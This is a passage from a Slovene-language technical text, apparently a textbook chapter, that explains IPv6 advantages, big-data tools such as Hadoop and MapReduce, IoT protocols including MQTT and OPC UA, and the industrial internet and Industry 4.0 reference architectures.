potrebno najti rešitev, ki bi odpravila vse omenjene slabosti, hkrati pa bi omogočila uspešno sobivanje obeh 
različic protokola IP. Na tak način je nastala nova različica protokola IP.  
  
Brez da bi se na tem mestu spuščali v podrobnosti glede tehnološke izvedbe, poskusimo predstaviti ključne 
prednosti, ki jih prinaša uporaba protokola IPv6, pri tem pa se poskusimo v največji možni meri nasloniti na 
vsem dobro poznani protokol IPv4: 
 Večji naslovni prostor – pri protokolu IPv4 uporabljamo za identifikacijo vozlišč in usmerjanje 
prometa med njimi 32-bitne naslove [19], ki jih zapisujemo v desetiški obliki kot A.B.C.D. Pri 
protokolu IPv6 pa po drugi strani uporabljamo 128-bitne naslove [20], ki jih zapisujemo v 
šestnajstiški obliki kot A:B:C:D:E:F:G:H. Če je bila pri protokolu IPv4 delitev naslova na naslov 
omrežja in vozlišča znotraj tega omrežja spremenljiva in določena z masko (angl. Variable-Length 
Subnet Mask – VLSM), se je pri protokolu IPv6 uveljavila standardna maska /64. Z drugimi 
besedami to pomeni, da lahko pri protokolu IPv6 v posameznem lokalnem omrežju naslovimo 264-
2 ≈ 1.8∙1019 vozlišč. 
 Učinkovitejše usmerjanje – če smo pri protokolu IPv4 imeli možnost uporabljati različne opcije, s 
katerimi smo na primer zahtevali specifično usmerjanje prometa v omrežju ali pa omogočili 
fragmentacijo, in je bilo te opcije mogoče vključiti v standardno glavo paketa ter njegovo dolžino 
povečati iz 20 B na največ 60 B, je zasnova glav pri protokolu IPv6 precej bolj učinkovita. Opcije 
so namreč v tem primeru lahko vključene le v opcijske glave, standardne glave IPv6 paketov, ki so 
namenjene izključno usmerjanju, pa imajo stalne dolžine 40 B.    
 Izboljšana podpora kakovosti storitev in varnosti – ključna cilja pri razvoju protokola IPv4, katerega 
razvoj je večinoma potekal v drugi polovici sedemdesetih letih, sta bila zanesljivost prenosa in 
učinkovitost izrabe prenosnih omrežij. Zaradi tega je protokol IPv4 nepovezavno usmerjen, kar 
pomeni da med izvorom in ponorom pred pričetkom komunikacije ni potrebno vzpostaviti seje, 
sam prenos pa temelji na uporabi paketov, ki vsebujejo tako prometne kot uporabniške podatke in 
jih je mogoče v omrežju prenašati povsem samostojno in ločeno drug od drugega. Prav to pa se je 
pri kasnejši konvergenci omrežij in vsesplošni uporabi protokola IPv4 pokazalo kot ena večjih 
pomanjkljivosti. Ker v internetu ni bilo potrebno pred pričetkom izmenjave podatkov vzpostaviti 
nikakršne povezave, ni bilo mogoče v njem rezervirati nikakršnih virov za zagotavljanje kakovosti 
pri prenosu. Težave s takšnim prenosom podatkov po najboljših močeh (angl. best effort) so bile 
posebej pereče pri telefoniji in drugih multimedijskih aplikacijah, kjer so pomembne zakasnitve pri 
prenosu in pasovna širina, pa tudi pri nadzornih in upravljavskih aplikacijah, kjer so pomembne 
napake pri prenosu. Internet kot javno prenosno omrežje prav tako ni ponujalo nikakršnih 
mehanizmov za zagotavljanje zasebnosti in integritete prometa ter preverjanja istovetnosti 
komunicirajočih strani. Omenjene pomanjkljivosti protokola IPv4 v celoti rešuje protokol IPv6. 
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Kakovost storitev je v tem primeru mogoče zagotavljati tako s prioretizacijo prometa (DiffServ) 
kot tudi rezervacijo virov v omrežju (IntServ). Zagotavljanju varnosti pa je pri protokolu IPv6 
namenjen protokol IPSec, ki varnostne storitve omogoča z uporabo šifrirnih in zgoščevalnih 
algoritmov. (Če smo natančnejši je na tem mestu vseeno potrebno izpostaviti dejstvo, da so se 
zahteve glede podpore protokolu IPSec pri implementacijah protokola IPv6 s časom spreminjale. 
Če je bila ta v skladu s prvimi priporočili nujna, je v letu 2011 ta postala zgolj opcijska [21].) 
 Izboljšana podpora mobilnosti – kot smo že omenili, se pri protokolu IP sami naslovi uporabljajo 
tako za identifikacijo vozlišč kot tudi usmerjanje prometa med njimi. Ravno omenjena dvojna 
uporaba naslovov povzroča težave v primeru, ko vozlišča prehajajo iz enega omrežja v drugo (na 
primer pametni telefoni iz domačega brezžičnega omrežja v mobilno omrežje) oziroma se njihovi 
IP naslovi zaradi tega spreminjajo. Posledica spremembe IP naslova posameznega vozlišča v tem 
kontekstu pomeni tudi spremembo njegove identitete, zaradi česar se vse vzpostavljene seje 
prekinejo. Rešitev omenjenih težav omogoča mobilni IP, pri katerem se vsakemu vozlišču dejansko 
dodelita dva IP naslova (stalni domači in spremenljivi gostujoči), za povezave med njimi pa so 
odgovorni programski agenti v domačih in gostujočih omrežjih. Čeprav je uporaba omenjenih 
mehanizmov možna tako pri protokolu IPv4 kot tudi IPv6, lahko zaradi praktično neomejenega 
naslovnega prostora in bistveno enostavnejšega načina zagotavljanja neposredne povezljivosti med 
vozlišči pri slednjem pričakujemo, da se bo ta v praksi uporabljal veliko pogosteje kot pri njegovem 
predhodniku.     
 Prilagodljivejša samodejna konfiguracija – pri protokolu IPv6 poznamo za razliko od protokola 
IPv4 dva različna načina samodejne konfiguracije vozlišč. Pri prvem, ki ga poznamo že pri 
protokolu IPv4, naslove, privzete prehode in druge podatke vozliščem dodeljujejo 
DHCPv4/DHCPv6 strežniki, ki tudi vodijo evidenco o vseh dodeljenih IPv4/IPv6 naslovih in 
preprečujejo morebitno podvajanje naslovov. Pri drugem, ki ga pri protokolu IPv4 ne poznamo, pa 
si vozlišča IPv6 naslov izračunajo samodejno na podlagi podatkov, ki jih oglašujejo usmerjevalniki. 
V nasprotju z DHCPv4/DHCPv6 strežniki ti v nobenem trenutku nimajo pregleda nad naslovi, ki 
jih uporabljajo vozlišča v posameznem lokalnem omrežju. Ker se bodo v internetu stvari 
povezovale naprave, katerih računske zmogljivosti bodo precej omejene, hkrati pa bodo morala biti 
ta karseda energijsko učinkovita, lahko upravičeno pričakujemo, da se bo takšen način samodejne 
konfiguracije v praksi pogosto uporabljal. 
 
3.4.3. Neomejena analiza podatkov 
Ob predstavitvi tipičnega modela interneta stvari smo dejali, da tega sestavljajo senzorji, aktuatorji, stroji in 
druge naprave, ki podatke generirajo oziroma uporabljajo, omrežja, ki te podatke prenašajo, ter ustrezne rešitve 
za obdelavo in shranjevanje pridobljenih podatkov. Če smo se učinkovitemu prenosu podatkov v preteklih 
poglavjih že posvetili, namenimo nekaj besed tehnologijam in rešitvam, ki bodo omogočile analizo podatkov, 
katerih raznolikost in obseg si danes še vedno zelo težko predstavljamo. V skladu z eno takšnih napovedi naj 
bi leta 2019, ko naj bi bila uporaba interneta stvari že v polnem razmahu, skupni promet stvari dosegel več kot 
500 ZB in za skoraj 50x presegel skupno količino prometa v podatkovnih centrih [22].  
 
Sklepamo lahko torej, da bo eden od ključnih dejavnikov za uspešno uvedbo interneta stvari v prakso 
sposobnost obdelave in shranjevanja zelo velikih, hitro se spreminjajočih in raznolikih količin podatkov (angl. 
big data), te pa si danes ne moremo predstavljati brez storitev v oblaku in z njo povezane virtualizacije, pa naj 
gre za virtualizacijo strežnikov, storitev, omrežja ali pa, kot bomo videli kasneje, industrijskih krmilnikov, če 
govorimo o industrijskih okoljih. Po drugi strani si analitike praktično neomejenih količin podatkov (angl. big 
data analytics) ne moremo zamisliti brez uporabe naprednih algoritmov za podatkovno rudarjenje in strojno 
učenje, s pomočjo katerih imamo možnost pridobljenim podatkom bistveno povečati vrednost z iskanjem 
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vzorcev, anomalij in medsebojnih odvisnosti v analiziranih podatkih oziroma napovedovanjem prihodnjih 
vrednosti. 
 
Brez da bi se na tem mestu spuščali v podrobnosti in opise posameznih omenjenih tehnologij, izpostavimo 
vsaj dve, ki ju v praksi srečamo skoraj vedno, kadar govorimo o velikih količinah podatkov in brez katerih ne 
bi bilo mogoče delovanje spletnih trgovin kot so Amazon, eBay ali AliExpress, socialnih omrežij kot sta 
Facebook ali LinkedIn in nenazadnje Velikega hadronskega trkalnika, ki deluje v okviru CERN in kateri je 
odigral ključno vlogo pri iskanju Higgsovega bozona ter v praksi potrdil veljavnosti standardnega modela v 
fiziki delcev. 
 
Prvo predstavljajo podatkovne baze, ki omogočajo shranjevanje nestrukturiranih podatkov, kakršni so na 
primer dokumenti, preglednice, predstavitve, zapisi na različnih socialnih omrežjih, elektronska sporočila, 
spletne vsebine, avdio in video zapisi, …. Takšnih podatkov, za razliko od strukturiranih podatkov, ni mogoče 
na enostaven način zapisati v obliki tabel, v katerih atribute posameznega elementa lahko zapišemo kot stolpce 
(stolpčna relacijska baza) oziroma vrstice (vrstična podatkovna baza). Po nekaterih ocenah je več kot 90 % 
podatkov, ki imajo v poslovnih okoljih kakršnokoli vrednost, nestrukturiranih [23].  
 
Podatkovne baze, ki omogočajo shranjevanje nestrukturiranih podatkov in so primerne za shranjevanje velikih 
količin podatkov, lahko v grobem razdelimo v dve skupini. V prvo spadajo podatkovne baze tipa NoSQL, pri 
katerih se je potrebno za doseganje ustrezne hitrosti dostopa in zagotavljanja prepotrebne razširljivosti do 
določene mere odpovedati konsistentnosti shranjenih podatkov. V praksi najpogosteje uporabljeni podatkovni 
bazi tega tipa sta dokumentna podatkovna baza MongoDB in vrstična podatkovna baza Apache Cassandra. V 
drugo skupino pa spadajo precej novejše podatkovne baze tipa NewSQL, pri katerih je mogoče z uporabo 
novih arhitektur in visoko stopnjo optimizacije zagotoviti spoštovanje ACID teorema [24]. Primer 
podatkovnih baz te vrste je podatkovna baza NuoDB. 
 
Drugo pa predstavljajo tehnologije, ki omogočajo porazdeljeno obdelavo in shranjevanje podatkov. Med 
takšnimi tehnologijami je danes posebej priljubljen odprtokodni Apache Hadoop [25], katerega velika 
prednosti je predvsem možnost uporabe strojne opreme, ki jo najdemo v praktično vsakem poslovnem okolju 
(stikala, strežniki, gruče strežnikov, …). Da bi lahko na takšni opremi dosegli zmogljivost in učinkovitost, ki je 
bila nekoč značilna za superračunalnike, se pri omenjeni rešitvi podatke in računske naloge med elemente 
porazdeljenega sistema porazdeliti tako, da se kar največ računskih operacij opravi na lokalnih podatkih 
oziroma se v največji meri izkorišča podatkovna lokalnost. Prenos velikih količin podatkov med vozlišči v 
takšnem porazdeljenem sistemu posledično ni potreben. 
 
Med vsemi tehnologijami in rešitvami, na katerih temelji Hadoop, velja izpostaviti vsaj dve: 
 
 Porazdeljeni datotečni sistem HDFS, ki omogoča zanesljivo in varno shranjevanje zelo velikih 
količin podatkov (več kot 10 PB) v gručah z zelo velikim številom vozlišč (več kot 10.000) [26]. S 
stališča funkcionalnosti je mogoče omenjena vozlišča razdeliti na imenska vozlišča (angl. name 
node), ki datoteke razdelijo na podatkovne bloke in hranijo podatke o njihovi lokaciji, ter 
podatkovna vozlišča (angl. data node), na katerih trdih diski so ti podatkovni bloki dejansko 
shranjeni. Imensko vozlišče je torej v tem kontekstu nadrejeno podatkovnemu vozlišču, pri čemer 
je v vsaki gruči lahko aktivno eno samo imensko vozlišče, število podatkovnih vozlišč pa je lahko 
poljubno. Da bi olajšali zagotavljanje konsistence v porazdeljenem sistemu, se v primeru 
datotečnega sistema HDFS vsaka datoteka zapiše samo enkrat, preberemo pa jo lahko poljubno 
mnogokrat (angl. write-once, read-many). Sprememba njene vsebine se tako ne izvede z dejanskim 
spreminjanjem vsebine vseh njenih kopij, pač pa tem kopijam spremembe le dodajo.  Zanesljivost 
shranjevanja podatkov in visoka razpoložljivost pri dostopu do njih se v primeru datotečnega 
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sistema HDFS zagotavljata z redundanco. Podatkovni bloki, na katere so posamezne datoteke 
razdeljene, se namreč vselej shranijo na več različnih podatkovnih vozlišč (najpogosteje 3). 
 Programski model MapReduce [27], s katerim je mogoče obdelavo velikih količin podatkov 
relativno enostavno porazdeliti med vozlišča v gruči, tako da se ta lahko izvaja vzporedno. Da bi 
lažje razumeli osnovni princip delovanja omenjenega programskega modela, vzemimo primer iz 
vsakdanjega življenja. Predpostavimo, da bi želeli ugotoviti kakšno je število posameznih vrst knjig 
(poezija, proza, strokovna literatura, …) v izbrani knjižnici. Knjige so v knjižnici shranjene v 
knjižnih omarah, zato lahko za vsako od njih zadolžimo enega od knjižničarjev (računski problem 
smo na ta način razdelili na večje število manjših problemov, ki jih lahko zaradi medsebojne 
neodvisnosti rešujemo sočasno). Ko bo ta preštel knjige posamezne vrste v izbrani omari, dobljene 
rezultate vseh knjižničarjev seštejemo ter na ta način dobimo skupno število knjig posamezne vrste 
v celotni knjižnici. Jasno je, da je hitrost rešitve našega problema neposredno odvisna od števila 
knjižničarjev, ki jih imamo pri tem na voljo. Podobno velja tudi za računske probleme, ki jih na ta 
način rešujemo v praksi. Na tem mestu velja omeniti še, da so knjižnice, ki implementirajo 
programski model MapReduce, danes na voljo za kar nekaj programskih jezikov (Java, Python, 
C/C++, …). 
 
Kaj pa uporaba omenjenih rešitev v IoT okoljih? Po nekaterih ocenah naj bi se delež shranjenih podatkov iz 
povezanih naprav z 2 % v letu 2013 povečal na 10 % v letu 2020 in skupaj dosegel 4.4 ZB, taisti podatki pa 
naj bi predstavljali kar 99 % podatkovnih enot vseh shranjenih podatkov [28]. Če se zdijo omenjene številke 
na prvi pogled malo verjetne, velja malce podrobneje razmisliti o tipičnem podatku, ki ga generira senzor, stroj 
ali katera druga povezana naprava. Navadno gre za časovno zaporedje rezultatov meritev teh ali onih fizikalnih 
parametrov, katerih velikost je relativno majhna in nekaj velikostnih razredov manjša od velikosti tipičnega 
elektronskega sporočila, dokumenta, preglednice ali predstavitve. Za shranjevanje tovrstnih podatkov so 
podatkovne baze primernejše, saj te omogočajo manjše zakasnitve pri dostopu do podatkov in hitrejše prenose, 
kot posebej primerne pa se predvsem na račun večje razširljivosti in hitrosti zapisovanja tudi v praksi izkažejo 
podatkovne baze tipa NoSQL [29].    
 
3.4.4. Protokoli transportnega in aplikacijskega sloja 
Relativno velika pestrost naprav, ki na tak ali drugačen način zbirajo in obdelujejo podatke, se kaže tudi pri 
protokolih aplikacijskega sloja v referenčnem modelu interneta stvari, saj je teh relativno veliko. Kljub temu 
lahko protokole aplikacijskega sloja razdelimo v dve veliki skupini – odjemalec/strežnik (angl. client/server) 
in objavi/naroči (angl. publish/subscribe). Pri protokolih iz prve skupine se mora odjemalec pri vsakokratnem 
prenosu podatkov povezati s strežnikom in od njega zahtevati želene podatke. Zaradi tega je uporaba 
protokolov tega tipa boljša izbira v primerih, ko natančno poznamo topologijo omrežja oziroma želimo 
zagotoviti višji nivo varnosti podatkom, ki jih prenašamo. Po drugi strani pa pri protokolih objavi/naroči 
naprave objavljajo podatke, ki jih imajo na voljo, druge naprave, ki so nanje naročene, pa jih prevzemajo. 
Uporaba protokolov iz te skupine je precej pogostejša v primerih, ko topologija omrežja ni vnaprej znana 
oziroma naprave pogosto spreminjajo način dostopa do omrežja. Prav tako je takšen način dostopa do 
podatkov bolj smiseln v primerih, ko posamezne naprave nimajo zagotovljene stalne mrežne povezljivosti, pač 
pa se v omrežje priključujejo zgolj občasno, ko tudi objavijo nove podatke, ki jih imajo na voljo. Velika 
prednost protokolov iz te skupine je tudi razširljivost v smislu števila in raznolikosti naprav, ki so na podatke 
naročene.  
 
HTTP/HTTPS 
Protokol HTTP oziroma HTTPS predstavlja danes verjetno prvo izbiro, ko gre za medsebojno povezavo 
aplikacij v poslovnem svetu. Prednosti, ki jih predvsem glede varnosti in podpore v najrazličnejših programskih 
jezikih in implementacijah ponuja ta nepovezavno usmerjeni protokol, so namreč tako velike, da predstavljajo 
spletne aplikacije danes de-facto standard za izmenjavo podatkov.  
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Pri opisu protokola HTTP seveda ne moremo mimo spletnih storitev kot osnovnega gradnika storitveno 
orientirane arhitekture in protokola SOAP ter REST modela. Protokol SOAP je nastal kot rešitev težav z 
izmenjavo podatkov v distribuiranih informacijskih sistemih, ko so se ti začeli povezovati v internet. Za razliko 
od starejših modelov DCOM in CORBA, pri katerih se podatki med entitetami prenašajo v binarni obliki, si 
te pri uporabi protokola SOAP med seboj izmenjujejo XML, za prenos pa se najpogosteje uporablja protokol 
HTTP. Da bi dosegli kar največjo stopnjo medsebojne združljivosti posameznih sistemov, je struktura 
omenjenih XML sporočil določena s shemo, ki jo morata oddajna in sprejemna stran upoštevati. Ena večjih 
prednosti uporabe protokola SOAP je tudi zagotovljeno obveščanje o napakah, saj sprejemna stran o vsaki 
napaki, do katere je prišlo pri prenosu sporočila ali njegovem oblikovanju na oddajni strani, slednjo obvesti, 
tako da lahko ta ustrezno ukrepa. 
 
Omeniti velja, da se pri REST modelu za izmenjavo podatkov uporablja izključno protokol HTTP (sporočila 
GET, POST, PUT in DELETE), medtem ko je za prenos SOAP sporočil mogoče poleg protokola HTTP 
uporabiti tudi druge protokole (na primer SMTP, …). Prav tako se v povezavi z REST modelom pogosto 
uporablja JSON. 
 
OPC UA 
Če je bil protokol HTTP oziroma HTTPS tako rekoč doma v poslovnih omrežjih in na internetu in se je šele 
v zadnjih letih njegova uporaba začela povečevati tudi v procesnih omrežjih, velja obratno za skupino 
protokolov, ki je nastala pod skupnim imenom OPC. Omenjeni protokoli, ki temeljijo na Microsoftovih 
tehnologijah OLE, COM in DCOM, so se namreč od druge polovice devetdesetih let uporabljali pretežno v 
porazdeljenih sistemih, namenjenih avtomatizaciji proizvodnje in stavb. 
 
Spremembe na področju samih procesnih sistemov v smislu vse večje uporabe komercialnih komponent in 
vse večje povezanosti s poslovnimi sistemi, so zahtevale prilagoditve tudi pri omenjenih protokolih. Pri razvoju 
OPC UA sta bila v ospredje tako postavljena povečanje združljivosti z različnimi proizvajalci strojne in 
programske opreme ter povečanje varnosti pri prenosu. Danes so tako na voljo implementacije protokola 
OPC UA za .NET, Java in C++, varnostne storitve pa temeljijo na uporabi digitalnih podpisov. 
 
Protokol OPC UA omogoča uporabo dveh različnih protokolov za prenos podatkov med odjemalci in 
strežniki. Prvi predvideva uporabo binarne različice protokola TCP (na aplikacijskem sloju to pomeni uporabo 
URI opc.tcp://, na transportnem pa vrat TCP/4840) in je posebej primeren za okolja, kjer je učinkovitost pri 
prenosu zelo pomembna ali pa je pomembna energijska učinkovitost na strani odjemalca. Prav tako 
standardizacija binarne implementacije zagotavlja kar največjo možnost medsebojne združljivosti rešitev 
posameznih proizvajalcev. Drugi protokol za prenos podatkov pa predvideva uporabo že dobro znanih 
protokolov SOAP in HTTP oziroma HTTPS ter XML za zapis samih podatkov. Čeprav je takšen način 
prenosa precej manj učinkovit od prenosa binarnih sporočil, omogoča enostavnejše preverjanje vsebine 
prometa na omrežnem nivoju oziroma pri uporabi požarnih pregrad (FW) in sistemov za preprečevanje 
vdorov (IPS). 
 
MQTT 
Protokol MQTT za razliko od obeh prej predstavljenih protokolov spada v skupino protokolov tipa 
objavi/naroči. Ker je bil razvit v prvi vrsti za izmenjavo podatkov med napravami in stroji (angl. Machine to 
Machine – M2M), so njegove implementacije v strojni ali programski opremi relativno varčne, prav takšne pa 
so potrebe po pasovni širini in zakasnitvah pri prenosu. Prav tako je protokol MQTT relativno skromen glede 
nabora sistemskih funkcij, saj predvideva le uporabo sledečih funkcij: 
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 CONNECT in DISCONNECT, s katerima naprava vzpostavi oziroma prekine povezavo s 
posrednikom, 
 SUBSCRIBE in UNSUBSCRIBE, s katerima se naprava naroči na posamezne podatke oziroma to 
naročilo prekliče ter 
 PUBLISH, s katero naprava objavi izbrane podatke. 
 
Protokol MQTT predvideva uporabo aplikacijskih posrednikov (angl. brokers), ki skrbijo za distribucijo 
sporočil zainteresiranim vozliščem. Posrednike te vrste danes med drugim ponujajo že skoraj vsi veliki 
ponudniki storitev v oblaku (Amazon, Google, IBM, …), tako da lahko brez večjih težav podatke iz 
najrazličnejših naprav in strojev prenesemo v oblak, kjer imamo na voljo praktično neomejeno procesorsko 
moč in prostor za njihovo skladiščenje po eni strani ter uporabo naprednih analitskih metod po drugi strani. 
Eden danes bolj razširjenih MQTT posrednikov je tudi odprtokodni Mosquito [30].  
 
Zaradi svoje skrajno enostavne zasnove protokol MQTT ne omogoča uporabe nobenih mehanizmov za 
upravljanje s čakalnimi vrstami, v katere so uvrščena sporočila, omogoča pa osnovno zagotavljanje kakovosti 
storitev pri prenosu, saj je za vsako sporočilo mogoče določiti, ali naj se to prenese v skladu z najboljšimi 
možnostmi (QoS 0), vsaj enkrat (QoS 1) ali natančno enkrat (QoS 2). Če v prvem primeru zanesljivost prenosa 
zagotavljajo protokoli transportnega sloja, v tem primeru protokol TCP, se v drugih dveh primerih za to 
uporabljajo potrditve na aplikacijskem sloju, ki jih za vsako uspešno sprejeto sporočilo posrednik posreduje 
napravi, ki je podatke objavila, oziroma napravi, ki je nanje naročena.  
 
Varnost je pri takšnem načinu prenosa mogoče zagotoviti z uporabo protokola TLS ali zaščito podatkov na 
aplikacijskem sloju. 
 
AMQP 
Podobno kot pravkar predstavljeni protokol MQTT tudi protokol AMQP spada v skupino protokolov tipa 
objavi/naroči, le da ta ne izhaja iz industrijskih okolij, pač pa se je najpogosteje uporabljal v finančni industriji, 
kjer je igral ključno vlogo pri zagotavljanju celovitosti transakcij in konsistentnosti podatkovnih zbirk. Glede 
na funkcionalnosti, ki jih omogoča, je protokol AMQP bistveno bolj bogat, saj omogoča uporabo čakalnih 
vrst ter različnih načinov razvrščanja in usmerjanja sporočil. Omenjene dodatne funkcionalnosti seveda 
prinašajo večje potrebe po pasovni širini, tako da protokol AMQP navadno uporabljamo v primerih, ko ta ni 
bistvenega pomena oziroma si lahko predvsem pri mobilnih napravah privoščimo večjo porabo električne 
energije. 
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4. INDUSTRIJSKI INTERNET 
V preteklih poglavjih smo videli, da so se v industrijskih sistemih, na katerih temelji avtomatizacija industrijskih 
procesov, vse pogosteje uporabljali protokoli, ki jih že kar nekaj časa uporabljamo v poslovnih okoljih in brez 
katerih si vsakdana praktično ne moremo predstavljati. Ob tem smo izpostavili protokola Ethernet in IP, ki 
sta se izkazala kot dovolj zanesljiva in prilagodljiva tudi v okoljih, kjer napake pri prenosu lahko pomenijo 
tveganje za človeška življenja. Vse pogostejša uporaba odprtih standardov v okoljih, v katerih je skoraj vsak 
večji proizvajalec strojne in programske opreme ponujal svojo rešitev za gradnjo porazdeljenih sistemov in 
protokolov za izmenjavo podatkov med njihovimi posameznimi deli, pa ni bila edina velika sprememba. 
Industrijski krmilniki, kot daleč najpomembnejši gradniki krmilnik sistemov, so vse pogosteje temeljili na 
strojni in programski opremi, ki smo jo lahko srečali v poslovnih okoljih, to je x86 arhitekturi in splošno 
namenskih operacijskih sistemih (kot sta na primer Windows ali Linux).  
 
Po drugi strani pa so znižanje cen senzorjev, možnost praktično neomejenega prenosa podatkov ter njihovega 
shranjevanja in obdelave omogočili razvoj interneta stvari, v katerem bodo meje med fizičnim in virtualnim 
svetom vse bolj zabrisane, izmenjava podatkov med napravami pa bo omogočila tudi razvoj povsem novih 
poslovnih modelov, ki ne bodo temeljili več na lastništvu pač pa na uporabi [11]. V industrijskih okoljih, ki jih 
vseskozi omenjamo, pa bodo omenjene spremembe omogočile razvoj industrijskega interneta, v katerem bo s 
povezavo izdelkov, strojev, naprav in ljudi mogoče bistveno povečati učinkovitost in zanesljivost proizvodnih 
zmogljivosti ter hkrati znižati obratovalne stroške. S takšnimi cilji so AT&T, Cisco, General Electric, IBM in 
Intel v začetku leta 2014 ustanovili Industrial Internet Consortium (IIC), ki je postal eden od ključnih igralcev 
pri uvajanju interneta stvari in z njim povezanih tehnologij v industrijska okolja oziroma razvoju industrijskega 
interneta in danes šteje že več kot 200 članov [31]. 
 
Eden od pomembnejših rezultatov sodelovanja partnerjev iz industrije, akademskih in vladnih krogov, 
združenih v IIC, je referenčna arhitektura industrijskega interneta (angl. Industrial Internet Reference 
Architecture – IIRA) [32], ki poskuša problematiko uvajanja interneta stvari v industrijska okolja osvetliti s 
poslovnega, funkcionalnega in implementacijskega vidika ter vidika uporabe takšnih rešitev v praksi. Podobno 
kot referenčni model interneta stvari, s katerim smo se že srečali [16], funkcionalni del referenčne arhitekture 
opisuje gradnike sodobnih industrijskih sistemov in njihove funkcionalnosti, predvsem pa izpostavlja nujnost 
zagotavljanja medsebojne združljivosti rešitev posameznih proizvajalcev pri gradnji varnih in zanesljivih 
industrijskih sistemov ter konvergence IT in OT rešitev. Poseben poudarek je v referenčni arhitekturi 
namenjen vprašanju varnosti industrijskih internetnih sistemov, pri čemer je kot absolutno nujen izpostavljen 
celovit pristop.  
 
Glede na funkcionalnosti posameznih gradnikov lahko industrijski internetni sistem (angl. Industrial Internet 
System – IIS) razdelimo na sledeče dele oziroma domene: 
 
 Krmilna domena (angl. control domain), katere glavni funkciji sta nadzor in krmiljenje procesa 
oziroma sistema. Krmiljenje na tem nivoju navadno izvajajo industrijski krmilniki, na katere so 
povezani najrazličnejši senzorji in aktuatorji. Da bi lahko zagotovili ustrezno natančnost in 
odzivnosti pri krmiljenju, so razdalje med omenjenimi elementi navadno relativno majhne, kar 
omogoča veliko stopnjo porazdelitve celotnega sistema. 
 Obratovalna domena (angl. operationas domain), katere najpomembnejše funkcionalnosti so 
upravljanje, nadzor in optimizacija sistemov v krmilni domeni. Možnost praktično neomejenega 
dostopa do interneta omogoča izvajanje omenjenih funkcionalnosti na globalni ravni, kar v praksi 
pomeni, da je na primer mogoče na ta način upravljati stroje in naprave pri različnih naročnikih v 
različnih geografskih regijah.    
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 Informacijska domena (angl. information domain), ki je namenjena zbiranju in obdelavi zbranih 
podatkov v najširšem pomenu besede. Čeprav se podatki o delovanju industrijskega sistema zbirajo 
in obdelujejo že v krmilni domeni, bistveno večja količina podatkov in naprednejša analitska orodja 
v informacijski domeni ponujajo boljši vpogled v sistem kot celoto ter hkrati omogočajo boljšo 
podporo pri odločanju in optimizacijo.  
 Aplikacijska domena (angl. application domain), kjer so definirani uporabniški vmesniki in pravila 
za  izmenjavo podatkov z ostalimi aplikacijami. 
 Poslovna domena (angl. business domain), katere glavne naloge so zagotoviti prenos in uporabo 
zbranih podatkov v poslovne namene. Tipični primer uporabe podatkov v tej domeni predstavlja 
integracija z ERP ali CRM sistemi. 
 
Da bi si kot inženirji vendarle lažje predstavljali kako takšen IIS sploh izgleda v praksi, omenimo še 
implementacijski vidik IIRA. V skladu s tem bo za tipični IIS značilna tri nivojska arhitektura: 
 
 Robni nivo (angl. edge tier), ki ga sestavljajo robna vozlišča, med seboj povezana z lokalnim 
omrežjem. Konkretneje to pomeni senzorji, aktuatorji ali pa stroji in naprave, ki so med seboj 
povezani z žičnim ali brezžičnim Ethernet omrežjem ali katero drugo učinkovito tehnologijo za 
brezžično izmenjavo podatkov. Poleg samega vodenja in nadzora industrijskih procesov naprave 
robnega sloja, navadno so to kar krmilniki, opravljajo še agregacijo podatkov in s tem zmanjšujejo 
pasovno širino, potrebno za njihov prenos. 
 Nivo platforme (angl. platform tier), ki je z robnim nivojem povezan preko dostopovnega omrežja 
(internet, mobilna omrežja, …).  
 Poslovni nivo (angl. enterprise tier), ki je namenjen izvajanju poslovnih funkcij kot je na primer 
upravljanje z dobavnimi verigami, proizvodnjo, strankami, … 
 
 
 
 
 
 
 
 
 
 
 
 
 
Slika 3: Arhitektura industrijskega internetnega sistema [32] 
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Slika 4: Funkcijske domene v industrijskem internetnem sistemu [32] 
 
4.1. Industrija 4.0 
Internet stvari v industrijskih okoljih seveda ne predstavlja le velikega tehnološkega izziva, pač pa ponuja cel 
kup poslovnih priložnosti. Tega so se dobro zavedale tudi vlade držav Z Evrope, ki so v uporabi sodobnih 
tehnologij v proizvodnih podjetjih videle priložnost za povečanje konkurenčne prednosti pred hitro rastočimi 
gospodarstvi v Aziji in J. Ameriki. Podatki namreč kažejo, da se je med letoma 1991 in 2011 delež, ki je pri 
dodani vrednosti v proizvodnji v svetovnem merilu pripadal hitro rastočim gospodarstvom povečal iz 21 na 
40 %, ustrezno temu pa se je delež gospodarsko razvitih držav Z Evrope zmanjšal s 36 na 25 % [33]. Med 
omenjenimi državami so največji padec v dodani vrednosti v proizvodnih dejavnostih doživele Francija, 
Španija in Velika Britanija, najmanjšega pa Nemčija [34], ki je na področju uvajanja interneta stvari v industrijska 
okolja prevzela vodilno vlogo. Že leta 2013 je tako pod okriljem zveznega združenja za informacijsko 
tehnologijo BITKOM, združenja podjetij iz elektroindustrije ZVEI in inženirskega združenja VDMA z 
izdatno podporo zvezne vlade nastalo združenje Industrija 4.0.  
 
 
 
 
 
 
 
 
 
 
 
 
 
Slika 5: Referenčni model Industrija 4.0 [35] [36] 
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Omenjeno združenje je z namenom hitrejšega uvajanja interneta stvari in storitev v industrijska okolja ter 
zagotovitve medsebojne združljivosti posameznih rešitev leta 2015 predstavilo referenčni model Industrije 4.0 
(angl. Reference Architecture Model Industry 4.0 – RAMI 4.0) [35] [36], ki temelji na IEC standardih.  
 
Referenčni model, ki je leta 2016 prerasel v standard DIN SPEC 91345, se vsaj v eni točki bistveno razlikuje 
od referenčnega modela industrijskega modela, ki je nastal pod okriljem IIC. Z željo po zagotovitvi kar najvišje 
združljivosti strojne in programske opreme posameznih proizvajalcev namreč ta določa, da se za izmenjavo 
podatkov uporablja izključno en protokol – protokol OPC UA, ki ima v industrijskih okoljih že relativno dolgo 
zgodovino, prav tako pa omogoča zagotavljanje relativno visokega nivoja varnosti. Da pa konvergenca IT in 
OT tehnologij le ne poteka tako hitro, kot bi si v praksi kdaj želeli, kaže enostavno dejstvo, da uporabo 
omenjenega protokola danes v svojem oblaku omogoča le Microsoft, medtem ko Amazon, IBM in Google 
ostajajo pri protokolu MQTT/AMQP oziroma HTTP/HTTPS. 
 
Ker pa je pojem Industrija 4.0 danes zelo pogosto uporabljen v zelo različnih kontekstih, velja na tem mestu 
malce podrobneje predstaviti njegove ključne gradnike in kriterije, ki so bili upoštevani pri razvoju referenčnega 
modela. Posebna delovna skupina v okviru združenja Industrija 4.0 je že leta 2013 predstavila prva priporočila 
za implementacijo rešitev, ki naj bi povečale konkurenčnost nemškega gospodarstva na dolgi rok [37]. V 
